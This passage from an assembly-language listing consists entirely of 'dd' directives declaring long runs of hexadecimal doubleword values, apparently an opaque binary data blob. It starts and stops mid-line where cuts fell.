9A4FABFBh dd 1D06426Fh, 3C0A91Bh, 50FCE83Eh, 0EE0909Bh, 0C3FE0283h dd 2A2CF090h, 78160025h, 0FA5BC0Bh, 0DF1AE000h, 45BF09Bh dd 0C6F94127h, 0C0C0D06Fh, 151D43B1h, 1A05A47Bh, 198083FDh dd 0B21D203h, 11785E62h, 99726820h, 8D0E26CEh, 6088012Fh dd 4FF0E163h, 0C76E0EE6h, 0DE83F3h, 491B8DDAh, 9C00B667h dd 7E681164h, 39CA27BAh, 3B819D43h, 46C2EE79h, 0B3F03062h dd 246DE711h, 0AE8C8F00h, 0F1AC38D6h, 80351738h, 3655CA41h dd 48DA191Bh, 0E1D0080h, 4D720638h, 0EB041081h, 8217E09Fh dd 0ACFC8Ch, 8F5A2E13h, 0B0B6029Eh, 9CBC48h, 0F3D3AE32h dd 18CBA3BBh, 18C27051h, 0FAEEA8F4h, 19B36E05h, 0BD0018A5h dd 65FC9374h, 0E2721EC2h, 7C5ECFB1h, 0C17EE940h, 0F900B92Ah dd 771CE871h, 0D95CB7h, 1015FC8Ch, 0B85A6657h, 5687651Dh dd 0BBB2CE80h, 0D5AAF6h, 0B62FD1E3h, 0CF8A2776h, 60B8255Eh dd 67F4FA07h, 6E7530D2h, 1A00410Ah, 31C93A4h, 0A7ABD9h dd 8DE84E9Ch, 5BF2ACFEh, 12C8F81Fh, 8C203F9h, 66E2FCh dd 775DD098h, 0BCDAC646h, 513EDC00h, 27E1A8FEh, 3189C64h dd 88C67895h, 8F4656E0h, 994E6B1Fh, 0BDBA22C2h, 258E6F6h dd 85DCB08Ch, 3800DA01h, 126B69h, 7449477h, 0B86CAF76h dd 9131605h, 1C80658Ch, 94BD63Ah, 0D142E0B4h, 9B832400h dd 200F59Ch, 467BDB99h, 2DD861h, 0A83BB5A2h, 0FADE1C83h dd 5DCF08C9h, 270C7B01h, 0D067D1F6h, 963041A3h, 9B2C21FCh dd 45407D0h, 0C051A948h, 5C82D547h, 501C140Fh, 979C07CCh dd 0D7E906CEh, 1ED2F880h, 0B36441Ah, 1821E41Bh, 80490F2Bh dd 25F53440h, 0E0B8850h, 9052B4F0h, 0F2DA7F40h, 0F17E7BCEh dd 0D24D28C0h, 0A1C08086h, 2F08B6Ch, 52DB0ED1h, 4880A109h dd 86D790FDh, 8100167Fh, 4DE3E46Ah, 0C5A7EAh, 0F90FD479h dd 3EC754CDh, 0E688810Bh, 9FEF071Bh, 0BCA321C0h, 0C33A030Ah dd 50709CB9h, 0F11E8899h, 6F7730F6h, 1B08580Eh, 87C09C6Eh dd 784440Ch, 14D079Ch, 0E08E1EFDh, 0BB0C243h, 7ACC0800h dd 8C37D0ECh, 36D30FDAh, 0B86EBB8Ah, 7D4C9A60h, 0EE6EEE1h dd 27884700h, 0C6ACB251h, 0C46D0004h, 3C53ABE3h, 7AFEBA98h dd 0F837CB03h, 98677D79h, 705DC1Fh, 4D36E3F2h, 9DC6D0BBh dd 8C3FD520h, 0A98B01A7h, 0A2F571BDh, 0FEB1BBC4h, 925101F2h dd 85B928A6h, 23080B7h, 5A0B5BBEh, 83D505D4h, 40AEB34Ch dd 0DC2A47F8h, 260E2762h, 0B9DED461h, 68246008h, 0DCB20367h dd 508DA14h, 11FB28D0h, 0E65C2002h, 881CCAE2h, 3C80D898h dd 4E27ED61h, 33E4F80Fh, 0B2081735h, 0D85B2100h, 6B3EAEF3h dd 70F1004Dh, 8C476EF9h, 2300FC10h, 79DCD653h, 0C061B2BAh dd 1DDAD281h, 0A10035F2h, 0A52C62CCh, 0F605B7EAh, 0BECA0E06h dd 79614E22h, 0E0D41596h, 6A023641h, 0D71C041Bh, 1DACE00Ch dd 59B227AEh, 0EF805C8Fh, 0D2E43F0Fh, 0C1467206h, 6108BC4Ah dd 211421CBh, 7B35EC3Fh, 0EEF43100h, 0D420EBA5h, 8A010370h dd 1CE65AE9h, 56F3D906h, 520DF8Bh, 0D0AAD168h, 0E90485Bh dd 21ED63C0h, 157F214Eh, 3F5C4BBh, 6E85F3DAh, 89C0A30Eh dd 700FC3Eh, 20A92C1Ch, 7329BCDh, 17569A0Ah, 81E89ADCh dd 69E7A657h, 4274E016h, 40076000h, 3DDAFD7h, 0C4B60075h dd 0B85921FDh, 1000E38Fh, 0A623C4Ah, 322B29h, 8D0DB1EFh dd 85E8A36Bh, 5FE71700h, 573ADFEBh, 26CB3C3Fh, 98719A80h dd 4C6253D6h, 0C05F4700h, 8C03723Ah, 21C902BBh, 14E9FF79h dd 0D40A7540h, 66104E60h, 1B17255h, 1CDE35CAh, 6F326DFDh dd 9D43B0h, 0FF505D78h, 9E69EBDBh, 0E3F9F000h, 51D62CB6h dd 0B20D07C3h, 0C6DA5F13h, 0D3285088h, 0F60F044Eh, 83F8DDC9h dd 0C002DB51h, 3CBCD23h dd 55D6F263h, 38BBB564h, 8930A2E0h, 56194CEAh, 728F588h dd 0C3018C08h, 7EF637FCh, 0CA019E56h, 7F13104Eh, 1B8680F3h dd 629AFA40h, 343A5133h, 777E6F23h, 0DD0F4529h, 6A518857h dd 29DB983Bh, 0D400BFE5h, 71641D5Dh, 0C1BED3h, 4D536D77h dd 873D3C76h, 9DA88800h, 3EA26AD5h, 0C1F917FEh, 47460035h dd 63F3D1FFh, 0F1B05C00h, 0C8AE7AF0h, 5924020Fh, 0BD3E9A1Ah dd 159415E0h, 5318C760h, 0E896C8h, 14899C98h, 4CB0EDD1h dd 2725B200h, 5C7DA8Fh, 82D0030h, 864E851Ah, 230B3B55h dd 0F0D94DCh, 84EA207Fh, 0B2ED48h, 625FA43Ah, 127F0F35h dd 65FA99EAh, 4F6F4700h, 8C10AEFh, 341F8E6h, 125FA626h dd 300F3CEBh, 200C222Ch, 0A8CA97B5h, 0C3D70092h, 28BCE44Ah dd 0E80060D5h, 26C827C5h, 98BF6B0Ch, 471F00E5h, 8A76BBEAh dd 0EE000516h, 9896AC90h, 0A014DDh, 0C1852DC6h, 5D296DAAh dd 3A8B4E12h, 22884440h, 263897Bh, 72B5C2Ch, 0C2E0B4D9h dd 6E00A1C2h, 0CD64A2DEh, 7F574Eh, 5D370D83h, 0BD91BC05h dd 70CEC300h, 9BE2E1A1h, 0B65A0072h, 9623F1A5h, 8000C1F3h dd 798A5E09h, 2C82C82h, 8649E21Ah, 94803E53h, 0F1D982Ah dd 0D2697100h, 0E4E1EA7Eh, 24111DA6h, 5F803F87h, 0F08635C2h dd 630971CAh, 29F7D8h, 0A4BF7568h, 0B1E00045h, 3DC87C13h dd 1F00C926h, 35B0DDC3h, 2429FCF3h, 0BC1D9Fh, 0C4E5DE41h dd 0C8375C5Ah, 431078C6h, 6E0D9B91h, 0E1C0106Fh, 3801C04Eh dd 0B01AC709h, 9BAC21EFh, 0B12A3BA1h, 854CC416h, 48411900h dd 4A9D5C52h, 54E3007Fh, 0D01FFB90h, 81D35C3h, 1C1830E7h dd 0F9FAAA10h, 48D103ECh, 3B0444B7h, 8055657Ah, 98B479B2h dd 41A62507h, 3230FA62h, 5BE5E9h, 0FE06531Bh, 0CC437EF5h dd 0AEC6E600h, 0F30BD4Ch, 0E961C6Ch, 3D4F408Ch, 24F7683Ah dd 3E9C8300h, 0A0FD34E2h, 0BBA9000Dh, 1C5749A3h, 648BEC5h dd 8AC80034h, 2630DE80h, 0CDC6006Ch, 0E4E8E07Eh, 357C1E57h dd 5009C73h, 0A60DA2F1h, 1127082h, 0AFAB5CDDh, 30EC90B3h dd 46986E38h, 0E84A1400h, 2C34B880h, 94A800A2h, 6A08BD71h dd 9671DECAh, 637DC901h, 12ED1BECh, 7A00F428h, 7285B13h dd 0E9012467h, 7BD2836Dh, 14D88C9Fh, 0A1A03CD4h, 2201BF03h dd 0A8023EDh, 8300E273h, 3ABE5333h, 0EBC60CAh, 0F0F2036Bh dd 63BD0540h, 26074435h, 9532822h, 9061D520h, 298100E1h dd 13E31842h, 0AC00240Eh, 0A248D13Bh, 0A0BC931Ch, 57B07ACh dd 0FF0DD482h, 97AC040h, 16F222E3h, 0B8400491h, 17711C1h dd 511F06E2h, 80124E34h, 667DE310h, 1A61FDh, 0B7FC62A0h dd 9BB60E60h, 58503427h, 41730731h, 0B0930180h, 948CDAA3h dd 31BC4D1Dh, 2F6A5700h, 24F53Ch, 193022B5h, 4F55C725h dd 8306BF3Dh, 274420A3h, 67FAC80Fh, 7C17005Eh, 0E232BD2Ch dd 8D00A81Ah, 0D95F3FB9h, 1D66020h, 845E4339h, 0F8F07B83h dd 0AD00B8E3h, 0D853FF4Dh, 7EA56D9h, 6B31C97Ch, 0CB137006h dd 7700F527h, 0D02FDF09h, 0F24AFC5h, 0D1EF9B43h, 0E985AEC0h dd 3307D5A9h, 0C9F30D8Dh, 56107DF0h, 0F1B0099h, 0CE942838h dd 0D40353DFh, 9369FE5Eh, 6BE6B855h, 0E7AF001Ch, 3088A1C6h dd 741D7CB9h, 4D80A551h, 2B3B0C53h, 12AC928Ah, 0F2CC6BCh dd 821C74A5h, 0F5CDF1E9h, 3EF91843h, 0A12BF441h, 24001B77h dd 0BF53AFC6h, 0ECFAEF0h, 0F2896EDh, 0F5B73A80h, 94505B1Ah dd 30099D8h, 3846C41Ch, 360848h, 1EDE5EF6h, 686B5D47h dd 30EFF47Bh, 720E7624h, 52B04Bh, 0DF9D916Ch, 0A55008Bh dd 0F29BAA39h, 0FB00C620h, 3876727Eh, 171D3F4h, 0B527556Dh dd 0D0131B0Dh, 3C008B51h, 0F966BCECh, 778CA114h, 7BD8B745h dd 1E60A4EEh, 48F5CBF0h, 0AA0005Eh, 0BD8341A9h, 0B4003E3Ah dd 4E701F54h, 7561A6h, 1794ACF2h, 967260DEh, 0B60055EEh dd 4DD4F1AAh, 1C865Dh, 0C1564B71h, 0E2492210h, 0FB09B7E0h dd 0AEA7DFh, 9FBFE900h, 0D6C100B9h, 30EEAA4Eh, 80B4A2Bh dd 0DDB2BAAEh, 9F77D301h, 0FC0AEDF6h, 933B9249h, 7D241FE4h dd 32ABB180h, 3A43DE12h, 9A002C80h, 0C3E9D617h, 0A5008B44h dd 0F31E1022h, 326008h, 11473304h, 3B259D64h, 0AA2048h dd 8CA0FA3Fh, 16D3168Bh, 0D0CCDBh, 1ABC13C6h, 0BF487C55h dd 4F0100CAh, 0C3A62AD2h, 38C10354h, 702D52BDh, 0AE8AA4E8h dd 0CFD8B063h, 5C02D07Dh, 8EAC00ECh, 0EE263721h, 910558F7h dd 0F8D2F623h, 5C405080h, 865600DFh, 28B8BEBBh, 9600F1D3h dd 0EF3A7F60h, 12F5A284h, 6E5C51h, 43896C6Ch, 6100D9CDh dd 9B56D2B6h, 38EADA8h, 0A9BFE374h, 0C0D0031Ch, 3A2ADF59h dd 1416B4B2h, 4C4485A3h, 0A520D8AAh, 0F003459h, 7F94FEF0h dd 0F67471A6h, 0A9D002C1h, 7C6FDB67h, 0CEF2D60h, 87F1D916h dd 7201305Eh, 0A3EDD86h, 704530h, 0BCD81B31h, 94556AFBh dd 0DC86FA00h, 727166A1h, 3B64001Fh, 0D66B650Fh, 0BE717C0Bh dd 12830700h, 0AEF4FCEFh, 2E0C004Fh, 3E23058Eh, 0BF00725Ch dd 37AA1F3Ah, 7B656Dh, 0B85E581Eh, 8FC30EEFh, 15F5BD00h dd 0B5FB379Fh, 0F41E01E2h, 4B9D4873h, 44070EAh, 0CB89AD08h dd 0DC260091h, 0A74E41E1h, 0EC14B914h, 8E7500A7h, 2E5C817Ah dd 0CB09Bh, 3716C28Fh, 1DF0FA40h, 0D2FCC70Bh, 5848A083h dd 0E8742314h, 4A7F98h, 0CED62412h, 0E19CB47Ah, 68635D00h dd 560ADCC5h, 0B1C628D1h, 0E5D300C4h, 6DF70576h, 0B400DB4Ah dd 0D64C2D35h, 2DF4583h, 302CE25Dh, 39C0895Ah, 883CBC34h dd 778F1FB2h, 3DF6E841h, 530BBA3h, 0C33B008Ch, 82C6180Dh dd 8400B2CAh, 0E3FA5F06h, 8CC5AAh, 6C670B08h, 5869CE05h dd 461D3400h, 0B3C08694h, 0E265046Fh, 80C47733h, 0FD844F24h dd 9D72BF00h, 0D6D980E0h, 3B3C01CAh, 82A4AEDBh, 0FE4DF8BBh dd 1E246758h, 3381E9CEh, 62D0A7AAh, 93F424h, 6720A1A6h dd 0E94D1DFAh, 3DE2700h, 0B4AC2F0Ah, 891E0055h, 116123F4h dd 60041D4h, 9BB7AB86h, 30CD7B15h, 1DE2AA4Bh, 8F03D9ACh dd 63A7D257h, 0B093CCC9h, 0C0A0EC5Fh, 0C2154CE0h, 9E026A00h dd 92D58822h, 8004779h, 2CD020DCh, 0D4E80Fh, 988A6E0Bh dd 0B6285545h, 52ACE00h, 0E1D86FAEh, 8429486Dh, 0B7C45C04h dd 18B08CCFh, 0B076A100h, 3A528D60h, 400C07E4h, 609C486Ah dd 0CFE104FEh, 8E334A00h, 63B092B5h, 0F9D409D1h, 0B800235Dh dd 732C415Bh, 31F9900h, 69812DC4h, 1DE20074h, 7E068C10h dd 6A0076E7h, 0EFDBB6D0h, 1EA263Ch, 46B1446Fh, 808DC78Ah dd 0DD9DCCB8h, 91E44Ch, 0F1562F8Bh, 0C7CEDCE7h, 328CD700h dd 0ADB0AF6Ch, 3240011h, 1497D207h, 6E741E34h, 5CCCCA3Fh dd 6F8B0038h, 98A73B80h, 2CDE790Dh, 72AFF3h, 6D9AC73Eh dd 0A54DD1CEh, 82680020h, 7AC269C0h, 14700073h, 0AC6398DDh dd 0C7003C08h, 808D307Fh, 0B862945h, 0B573FC9Ch, 0ADF02820h dd 5400553Dh, 56EEF32Fh, 33AB02Bh, 808A9C75h, 0F01EF1FCh dd 1640ADBFh, 62B2D406h, 2FE8002Eh, 0A5D5CF63h, 27180DC5h dd 45E8D2B8h, 5B6500A6h, 0B6B73446h, 3374E6CCh, 0B9C94F00h dd 2F872167h, 9A5B0035h, 31EE6150h, 2D7AE006h, 0C24BEC06h dd 7AA3607h, 2071BC83h, 0B018E015h, 44002410h, 9D3D93CAh dd 1C03263Fh, 84862362h, 80ECB4FFh, 315B1B37h, 5201D494h dd 4EBB680Dh, 0BEC2D4h dd 0AE1B6536h, 0EF0EACABh, 0C3808D5Ah, 0EF59DE2h, 100DE3F6h dd 0C18CDB41h, 0FC88C5D4h, 1D006BCEh, 31F44C0Fh, 0E0719C8Eh dd 0C51C0FCFh, 244114BBh, 41BA1B1Fh, 0F0AC8080h, 0C20902CAh dd 0B6724Dh, 0AABCDF9Fh, 710A001Ah, 236DDAFAh, 0CB0C07FBh dd 0B0890225h, 7CEB5C5Eh, 7E8C7F80h, 311F2A80h, 69C0799Fh dd 38237019h, 78F20947h, 14008974h, 0C3F34AB7h, 6D0F4C7Bh dd 0A4935ECAh, 4C03F29h, 0B86BF83Dh, 0D0734Ch, 9B7BADEEh dd 0CAB6BAC3h, 26C4E200h, 0EAF7B3D2h, 0D6D4009Ah, 61955DD3h dd 7648D76Bh, 10850048h, 226DA7A3h, 0F4B7EA13h, 0A50600BFh dd 388E4740h, 697A2F17h, 3C045D7Fh, 0EA145AF5h, 29325FC0h dd 0FFD60307h, 136FF64Ch, 0C8DC2800h, 3F805EFh, 0A53B07D0h dd 0E07E43E5h, 0BAAC6A75h, 8420E407h, 0C8902523h, 115AFB2h dd 7B879AD6h, 0F55EEC8Dh, 0B78020B3h, 0DB88F400h, 466A059Ch dd 0AE7FF9h, 2953A9A6h, 0D2EE3F7Bh, 9BD8E41Eh, 0BB00D45Eh dd 0DE23B733h, 497D0158h, 5DF2F6FEh, 0D2CDF41Bh, 0E8B01172h dd 1AE08409h, 3F5444D4h, 1459AB48h, 3B709B00h, 1073CD04h dd 0EFCF6200h, 26443635h, 281800F2h, 6442DE08h, 712FCC80h dd 135FFCAFh, 0DC0000DBh, 0E1AEB488h, 0A0E29905h, 8A015C9h dd 40814EA6h, 0BF777894h, 0ECB20255h, 3513C097h, 0F6B0C2h dd 83D85141h, 0C9C846Ah, 26815200h, 7EA464F9h, 0D62C0496h dd 0C0723130h, 33CDED68h, 20AFE951h, 18008F28h, 0FF394E6Eh dd 65AD4BE5h, 80BF2873h, 5767B6F4h, 0ED1E98F6h, 3F40CFD6h dd 0D38CD869h, 229F002Fh, 49AD6232h, 9307A694h, 6EDDD63Ah dd 67A07DA0h, 7882003Ch, 774CF737h, 0C3FEB47Fh, 0CAF8C500h dd 18310A84h, 92E43Ch, 0E12B101h, 6A73F6C7h, 0FF20E100h dd 0AB61F7F9h, 717B0B81h, 0C508BA89h, 9CAF0090h, 0C366345h dd 516EB207h, 0E1D212D5h, 16ECE97Bh, 0A300A8BFh, 0C3383C3Bh dd 1B019F9Bh, 76C52146h, 3E305F66h, 0D5830523h, 1DB3DAAh dd 0A7688CF8h, 56CA10CEh, 0B3351EB9h, 0D072805Eh, 0F2D3551Ch dd 0C36CFE00h, 994DEBCh, 6521DBAh, 0E9F08937h, 0C4005C6Ch dd 0ECA48B9Fh, 0E2FA3296h, 2C290109h, 55BD0183h, 896C602Eh dd 0F60BF100h, 0D682E6D4h, 6DEE00E5h, 489808CFh, 89E879DEh dd 9627B700h, 0F6A88690h, 24731Ch, 0E1EEFCD3h, 69976081h dd 96F33F00h, 706FA74Fh, 0ABBD0063h, 0B181C3BEh, 0F70F6405h dd 6156E30Ah, 22C69079h, 97E5BEC8h, 0B8A9FD40h, 2AC40600h dd 0BA21E69Eh, 0C08C3338h, 46F8F720h, 5F004D8Fh, 976CF075h dd 35EF51Ch, 4BC88ACh, 0E0DCFCB0h, 20C04E8Ch, 8EB9EB1Ah dd 40E8968Fh, 628583BAh, 23001074h, 228017E8h, 467B9Bh dd 0EE149A1Dh, 7262DD96h, 6401C1E8h, 770F9771h, 7864BE8Ch dd 335178ACh, 1C1198DEh, 0D26BA1E0h, 183DCE12h, 0C59EA440h dd 0E281091h, 0C0165992h, 0FB80FE9Ch, 27E63DA0h, 230F4833h dd 0A7B60122h, 0C0C07B57h, 0A25EC5h, 66AEF73Eh, 3F60F87Dh dd 2BC20500h, 41521A0Dh, 0E9FE0077h, 9AB32F2Ch, 130251AFh dd 79EA81CDh, 0C0D8E5h, 0FE636168h, 0A6882CC8h, 4D22B500h dd 8BEF9F1Ah, 0FC98C014h, 0FA34FD16h, 38EA1331h, 0C2D5E7Eh dd 0B3372E00h, 42C3C899h, 0E7D6F100h, 0BE05B9FEh, 9E2700C6h dd 0AF0290F7h, 0B51D5288h, 9A017576h, 3EA01B95h, 2FFCD0h dd 430EAFD3h, 0A73148EFh, 9EDD8000h, 0DEE6D234h, 6FF90E99h dd 0B4C776F0h, 1E9D808Eh, 2807076Ch, 62BF9371h, 66C04B25h dd 2D4582h, 246469DDh, 660B4DF5h, 80ACBA38h, 0B0E783BFh dd 16DC0BDh, 981CF0DDh, 0E8D3460Bh, 6F07CDB4h, 0C3BF9982h dd 0A4ECAB41h, 5D427E4h, 96111EA6h, 84DC0024h, 0FEACE88Fh dd 8B36743Eh, 0C026CA72h, 0D4379Ch, 0C0B5D93h, 0E3AF102Fh dd 70679900h, 0C897A8A3h, 0FCB2FEh, 71CDFA8Bh, 0AC837485h dd 95E6651Dh, 897F6F80h, 187DC1E3h, 302E1B5Fh, 39C0F94Bh dd 66C871E8h, 0A2A71C60h, 6D830063h, 4DDE8250h, 4C2FDD00h dd 7E62EAD1h, 0F12B012Ah, 0BA26DA79h, 85E05012h, 0FE00B275h dd 0CAC641E7h, 7E0FDA5h, 766E7D9Ah, 392A409Bh, 25F2139Ch dd 0A338B401h, 0E4F63B34h, 1351C24h, 0A403C024h, 0C0B6672Bh dd 44C127ACh, 16DB096Bh, 92E164DCh, 1CF658B4h, 74983880h dd 33078B79h, 5A404353h, 0B8978801h, 25B51E80h, 7A8DCC5Ch dd 35A42D00h, 10AD3985h, 102E6744h, 5704CAE3h, 72C08E83h dd 0DEBBE04Bh, 0E007004Eh, 29C24F5Ch, 75072D61h, 941B5BDAh dd 6A1F30C0h, 0A2163638h, 29C7FC29h, 8885556h, 449E25B4h dd 288750A2h, 2951624Ah, 0AE222608h, 0C163224Fh, 0B580D905h dd 73D9EE7h, 0D142AAB2h, 1E17B183h, 0F4D7DC0Bh, 0C74BCD00h dd 0C0F6EF63h, 7CFE41Ch, 174ED997h, 0BE18C055h, 6D00B465h dd 0CD8B7D6Fh, 15DC453h, 0EB346228h, 0DCF1FA67h, 0FDF856FFh dd 0C856000h, 68CE5843h, 823D007Dh, 0CFE21A7Ch, 0CC005F22h dd 0C1C536BCh, 4A864Fh, 0FCA0B81h, 0DC2C0E62h, 1D1F9607h dd 9D0E1149h, 982B83FFh, 1FF9C3FEh, 0C06D1710h, 12F245A7h dd 1C544BB5h, 790065C4h, 3ED39FF6h, 38B1CEF9h, 588622EBh dd 10CCE773h, 4BC71E02h, 3CFB2A8h, 1688EA2Ch, 0EF01351Ah dd 68BDDB6Eh, 0EC413B07h, 40203CF1h, 0F87F22h, 32D68CF2h dd 2687EC8Fh, 0E800E8B8h, 0E1626340h, 0ACC884h, 0A7429904h dd 2E0FAABFh, 5A8DC201h, 0BB92494Ah, 754FCCh, 0E2854C9Ch dd 0A20B51Ah, 56A9C024h, 0A032E900h, 724E31BEh, 7349CE1Eh dd 5003D080h, 59003D20h, 6A4BC1C4h, 0F547E8h, 52355D48h dd 22F224F3h, 0D9A922Eh, 6CC8BD00h, 509629h, 0FEAE15EAh dd 0DD84058Ah, 0B9E82D00h, 908FBDE1h, 0C23C0055h, 66A67E5Bh dd 0A1FA941Dh, 490047FEh, 1B57D9B0h, 0B361D1h, 0B82208A8h dd 7FD5DBC2h, 0FD8DC30Fh, 0A374A0B6h, 111942h, 45CE6E88h dd 0BA831EA7h, 0B84DDF24h, 0FB8DEE00h, 1EFC6408h, 8120CCADh dd 70F85D9Dh, 0AE3EE4CFh, 0CD0A300h, 6689AC23h, 0C29D0365h dd 1E02B377h, 5B3781C8h, 470F3B00h, 4F32CD19h, 35B833h dd 0A93CE61Dh, 7A7C9A7Eh, 8CE2C200h, 1699120Fh, 0C040F3D4h dd 438E37h, 0F4F6F230h, 64105218h, 0F7A9AD00h, 7D2CCBD0h dd 16FCF9B7h, 10FD604Fh, 0CFBA569Bh, 8909E6B8h, 2E40648Ch dd 0EE0BA0F8h, 3CACB16h, 9E98DB12h, 7BD9F9B2h, 0FF24E8B4h dd 72009C71h, 4BA2704Dh, 0BA1BF4Ah, 0DB0F5775h, 54C7AA0Eh dd 29E3E055h, 0EC3F184Bh, 0B11000C7h, 99C2A61h, 0AEDB006Ch dd 0D0AB408h, 8B016842h, 3979DF6Eh, 8820761Bh, 18F8008Eh dd 0F669C70h, 90636B6h, 0A89EF985h, 0D5DE0030h, 0C7C62C1Fh dd 43007C49h, 9428C90Bh, 0F6F2F6ACh, 4F7D65h, 0A812E3CAh dd 0D14D61D9h, 3A78B3Ah, 0F7FF2AE1h, 0D7A0807Fh, 0E4A63E17h dd 0D23EB848h, 4D46BA8h, 88B319F4h, 678E402Ah, 321A012h dd 2D30605Eh, 6C93BAB7h, 0FFE3A480h, 0EDF67800h, 9859DA1h dd 0B5BC00F2h, 0A6EF103Dh, 0A071182h, 0ED9E0CB8h, 0D021AD43h dd 0EE8954Ah, 76806C06h, 469A0440h, 7507FFD8h, 0D6423F10h dd 29A23A00h, 72C901DBh, 21A7D07h, 324FFCE4h, 0EEAF340Fh dd 33490E0Ch, 0E1B03907h, 1280F7E0h, 30F00092h, 1CD96084h dd 0EE1FD896h, 0E7C0B15Ch, 168DE028h, 8721000Bh, 0F302DCA0h dd 0AA00B9CAh, 259D7DF8h dd 0BFC215h, 240FC955h, 0EB802A08h, 1C29A43Fh, 0CC726B6h dd 0F3F01810h, 7176AE4h, 0D4ECF9Ah, 1422A09Fh, 8A00CB36h dd 4F92E4Ch, 4150C2h, 0F1A99DCEh, 87B3B066h, 62E8D10Dh dd 6A603060h, 0F05607ABh, 941B4C19h, 0DCF4C055h, 0EC0FFCF9h dd 0A064CA92h, 9752BF31h, 583F0082h, 0D603FB9Eh, 32009A85h dd 0C48BB8Ch, 0EE3C12C1h, 4F830015h, 3E61E8EBh, 0B900AD47h dd 4863147Ch, 6027C3h, 6966BFE3h, 160B17AEh, 0A9C1FA00h dd 26444F28h, 68180061h, 0A30CB6F0h, 0C600EDF2h, 0BFFA2499h dd 0FA9A071Bh, 0E35F0FECh, 0B8873FA9h, 4590B02Fh, 3B7A7131h dd 0FBDCDF01h, 0ED8702A7h, 72DEC8h, 0A85BEF42h, 4BB7E18Fh dd 765F251Ch, 0C1D36800h, 28090C47h, 0DC7F56h, 6C2FFA28h dd 4D9FE689h, 3F69A00h, 0C8465DB3h, 2AF200F0h, 1E9C02F3h dd 0D3008DE2h, 0F84489DCh, 637DC5h, 34F1D9A6h, 5B860550h dd 62F43200h, 0E032DBBh, 8CFC4Dh, 0A206A7B5h, 57F9BC76h dd 3C00CBF4h, 0D2F87C2Dh, 0B04CFCh, 71F2AC24h, 289C4D1Ch dd 6DD5B903h, 4BA5A4h, 29419E10h, 601FBC02h, 0EC000677h dd 6ECB137Fh, 45230A5h, 0DD97A785h, 0BFD3C062h, 0E300419Bh dd 7C8095C6h, 0E3A4CCF1h, 3FCC5F1h, 1BED1C70h, 2A308062h dd 0AE09C1A2h, 0CE7DE8FDh, 23C64F00h, 0D12C75C3h, 130EA1Fh dd 9A0CE1F4h, 3B811633h, 0B1C66900h, 38263F0h, 8474F3Eh dd 5DB8296Bh, 73007CB4h, 229DDB2Dh, 0D61572h, 6B1DA1FFh dd 6C26EB16h, 0EFBE1E00h, 0BDE742B1h, 0D9040015h, 4437760Bh dd 9574516Dh, 6A927007h, 0E510BBDAh, 2C248014h, 52D383h dd 0F4A407E0h, 0B6784759h, 0C406AAE0h, 9C78EF01h, 567D2E98h dd 6F4E001Dh, 0B0A477C7h, 105BD00Eh, 0D4C446F3h, 0C3E74429h dd 8FDA2538h, 0E0AAC66Ah, 5E3F03C8h, 0CA72008Dh, 0F8299A9Bh dd 0FE008F77h, 0CE1DDF97h, 3044070h, 0BBFCBA93h, 22E0D460h dd 0F958E14Ch, 0B226007Eh, 0D378A95Ah, 50580314h, 4A1D4BB0h dd 36EAA4F8h, 91B2200Eh, 5CACA0DAh, 1C5E3C64h, 0C496A9CCh dd 0C033D558h, 1016C3CCh, 812A760Ah, 0E19EBCEBh, 0E2587E03h dd 801FC0B7h, 14153977h, 8A5F1900h, 0DBF33844h, 208A100h dd 0B97CF548h, 30E0670Eh, 0B6F23057h, 0D0008111h, 99CE6C19h dd 631884h, 0E9D80D65h, 7168FE2Ah, 0EFD70B00h, 9872E0B2h dd 75B10015h, 2976CF5Bh, 8A005849h, 20871E48h, 21343EEh dd 2E2DDAC7h, 80FF7072h, 0F1D7AB70h, 493B023Fh, 5C6DBE5Eh dd 80AFD041h, 5D7BF329h, 9C2C47h, 0B422D4C2h, 490F538Fh dd 0E85E2500h, 0A0E93799h, 504BEE4Ah, 1DB780CFh, 6A595Bh dd 0ECB9A6C0h, 18B87640h, 0B641F400h, 0DBC50B58h, 626F0F25h dd 0DE4034E6h, 0A1218D9h, 1589BB00h, 0F7EAA58Fh, 74DA0077h dd 0A6AE4B35h, 0D9FE3EF4h, 0DD2CEF00h, 0DBFFF2Fh, 9A4301AFh dd 4EBAA08Fh, 0DF7EDC81h, 858CA200h, 37EA890Bh, 0C8D075Dh dd 509D0690h, 0FDC487C3h, 8400CB78h, 0D75136DBh, 8CEE40h dd 8196B7Fh, 498568CAh, 0BB79E100h, 64435AC3h, 899B00CBh dd 3132621h, 9AB0B227h, 10230407h, 0E940C8DBh, 0CF6A91h dd 5EA4739Ch, 572ACA2Eh, 44C47114h, 0AF1300B4h, 0BB4683E9h dd 725B1491h, 0E6009CECh, 38A90964h, 0A492FFF9h, 318E0A00h dd 0A096E406h, 70D6E2CCh, 3CE5047Dh, 81298F02h, 5138D207h dd 4243D3B0h, 544072D9h, 0D700A736h, 4EF76774h, 79ACFh dd 0C6C89DC7h, 1B4BF88h, 0B626D700h, 8F940487h, 11732489h dd 75E00778h, 90D5B47Ch, 469EFD44h, 84020D76h, 7253A750h dd 806841CEh, 303D63F4h, 410D37Fh, 2B90D1A5h, 747CD200h dd 0CA5EC53Eh, 9D8401FEh, 0A76D622Ah, 0F8DDD8F9h, 163B2605h dd 858156F6h, 9883BF89h, 0D5AFFA77h, 63B15000h, 2EE8A6F1h dd 5B79002Bh, 26202C62h, 8E0682C2h, 4F323095h, 23250038h dd 945874BCh, 6801E44Eh, 7D417B44h, 0D8AC1B1Fh, 0AF7A0011h dd 69B0F1A4h, 62878C00h, 0DD157174h, 27490089h, 0B1CFFD2Eh dd 7F0B1D35h, 42224h, 0C10FD734h, 4E831EDEh, 0E3E0C045h dd 0E95F528Eh, 3C8A3Bh, 4DDF9EC4h, 39B49F60h, 6E80B767h dd 93187658h, 6002E8Dh, 378E1CE7h, 7412F57Bh, 42F694h dd 971B5D4Dh, 514ADEB2h, 0EE2FF900h, 0BF7ACF19h, 16FE0053h dd 0BC71CD36h, 5D038DB7h, 0CCFC39CEh, 0D030173Eh, 8BF5002Ah dd 0C924F629h, 45C74526h, 0BE6E3001h, 0AA209B21h, 1B180008h dd 0F1E6538Dh, 9D76F761h, 5A56C006h, 1D21F2D3h, 40827C0Dh dd 0EA3B0BB5h, 60605132h, 87B8CB50h, 3DE100ACh, 759DCCC6h dd 9F077925h, 8EC84AD7h, 1480C064h, 1EA52B2Ch, 0F869111h dd 0A42041C9h, 0E766B072h, 0B4F2B430h, 722236F1h, 0E9EA007Bh dd 0DC6D5A6Ah, 3400801Ah, 12A0974h, 8C1E44h, 8A84831Bh dd 0D2DF5890h, 0AF264D01h, 0F48556ACh, 1207D1D0h, 0BACAB051h dd 